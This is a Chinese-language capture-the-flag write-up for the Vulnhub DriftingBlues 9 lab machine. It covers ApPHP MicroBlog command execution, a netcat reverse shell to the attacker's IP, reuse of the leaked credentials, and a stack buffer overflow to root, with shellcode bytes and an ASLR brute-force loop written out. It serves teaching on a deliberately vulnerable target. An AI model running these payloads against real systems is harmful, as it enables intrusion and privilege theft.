Vulnhub 靶场 DRIFTINGBLUES: 9 (FINAL)


前期准备:

靶机地址:https://www.vulnhub.com/entry/driftingblues-9-final,695/

kali攻击机ip:192.168.11.129
靶机ip:192.168.11.147

一、信息收集

1.使用nmap对目标靶机进行扫描

发现开放了80端口。

2. 80端口

查看源码:

发现提示,说这个脚本由 ApPHP MicroBlog v.1.0.1 生成,搜索一下有没有相关漏洞:

发现有个远程命令执行。

二、漏洞利用

查看一下 33070.py:

尝试运行一下:

python 33070.py http://192.168.11.147

USERNAME:clapton
PASSWORD:yaraklitepe

发现可以用,并且获得了数据库的用户名和密码,不过这样用着有点别扭,发现有 nc,再用 nc 连接:

nc 192.168.11.129 1234 -e /bin/bash

升级一下 shell:

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

查看家目录:

发现有 clapton 用户,和数据库中的用户一样,尝试用数据路中的密码登录一下 clapton 用户:

成功登录到 clapton 用户,查看一下用户文件:

提示缓冲区溢出,并且给了两个案例:

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm

三、缓冲区溢出提权

结合案例学习分析,先把 input 文件传输到本地,用 python2 开启一个简易 http 服务并获取 input 文件并赋权:

python2 -m SimpleHTTPServer

chmod +x input

检查一下有没有防护措施:

发现没有,先禁用 ASLR,然后在 gdb 中加载二进制文件:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gdb -q input

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1000

将生成的字符串用命令 r 在 gdb 中运行二进制文件:

在 0x41376641 处得到了错误,计算一下偏移量:

./pattern_offset.rb -q 0x41376641

计算出偏移量是 171,用 python 构造字符串:

r $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')

可以用,查看ESP寄存器的值:

x/s $esp

用esp 寄存器的 0xffffcfc0 替换 4 个 B,因为是小字节序,倒过来写,构造 payload:

r $(python -c 'print("A" * 171 + "\xc0\xcf\xff\xff" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')

本地运行成功。

靶机上运行,查看 ESP 寄存器的值:

因为靶机启用了 ASLR,没有权限关闭,所以写个循环:

for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\xe0\x13\x8b\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done

得到了 root 权限,查看 flag:

完成。